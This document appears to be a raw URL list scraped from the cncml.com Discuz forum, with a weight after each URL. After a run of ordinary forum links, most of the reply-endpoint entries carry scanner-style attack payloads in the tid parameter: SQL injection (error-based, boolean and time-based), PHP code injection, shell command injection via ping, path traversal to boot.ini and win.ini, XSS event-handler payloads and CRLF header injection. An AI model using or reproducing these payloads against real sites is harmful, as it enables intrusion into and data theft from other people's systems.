http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=204&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=206&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=207&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=208&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=209&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=215&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=216&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=217&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=218&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=219&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=220&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=224&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=25&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=152&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=173&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=204&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=206&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=207&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=208&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=209&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=215&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=216&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=217&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=218&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=219&hash=4bd81051 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=220&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=224&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=25&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=subtract&tid=58&hash=4688329f 0.0001 http://www.cncml.com/forum.php?mod=misc&action=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?mod=misc&action=showdarkroom 0.0003 http://www.cncml.com/forum.php?mod=misc&action=showdarkroom&cid= 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=2 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=2&topicsubmit=yes&infloat=yes&handlekey=fastnewpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=38 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=38&topicsubmit=yes&infloat=yes&handlekey=fastnewpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=39 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=39&topicsubmit=yes&infloat=yes&handlekey=fastnewpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=43 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=43&topicsubmit=yes&infloat=yes&handlekey=fastnewpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=44 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=44&topicsubmit=yes&infloat=yes&handlekey=fastnewpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=47 0.0001 http://www.cncml.com/forum.php?mod=post&action=newthread&fid=48 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=2&tid=224 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=2&tid=224&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=2&tid=224&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=2&tid=224&reppost=235&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=38&tid=25 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=38&tid=25&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=38&tid=25&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=38&tid=25&reppost=25&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=39&tid=204 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=39&tid=204&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=39&tid=204&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=39&tid=204&reppost=212&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=152 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=152&extra=page%3D1&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=152&extra=page%3D1&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=152&reppost=154&extra=page%3D1&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=206 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=206&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=206&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=206&reppost=214&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=207 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=207&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=207&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=207&reppost=215&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=208 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=208&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=208&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=208&reppost=216&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=209 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=209&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=209&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=209&reppost=217&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=215 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=215&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=215&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=215&reppost=223&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=216 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=216&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=216&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=216&reppost=224&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=217 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=217&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=217&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=217&reppost=225&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=218 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=218&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=218&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=43&tid=218&reppost=226&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=44&tid=168 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=44&tid=168&extra=page%3D1&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=44&tid=168&reppost=170&extra=page%3D1&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=44&tid=173 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=44&tid=173&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=44&tid=173&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=44&tid=173&reppost=176&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=47&tid=219 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=47&tid=219&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=47&tid=219&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=47&tid=219&reppost=227&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=47&tid=220 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=47&tid=220&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=47&tid=220&extra=&replysubmit=yes&infloat=yes&handlekey=fastpost 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&fid=47&tid=220&reppost=228&extra=&page=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%3Cdir 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%20186%20ELSE%2015*(SELECT%2015%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=(SELECT%20(CASE%20WHEN%20(28=28)%20THEN%20186%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=(SELECT%20(CASE%20WHEN%20(31=18)%20THEN%20186%20ELSE%2031*(SELECT%2031%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=(SELECT%20(CASE%20WHEN%20(39=16)%20THEN%20186%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=(SELECT%20(CASE%20WHEN%20(76=91)%20THEN%20186%20ELSE%2076*(SELECT%2076%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186 0.0014 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%00' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND%2081=38 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20OR%2015=15%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=52)%20THEN%20186%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20RLIKE%20(SELECT%20(CASE%20WHEN%20(36=36)%20THEN%20186%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25%27%29%20AND%2031%3D31%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25%27%29%20AND%2075%3D46%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20AND%2011=86%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20AND%2083=83%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(27=27)%20THEN%20'186'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(95=34)%20THEN%20'186'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 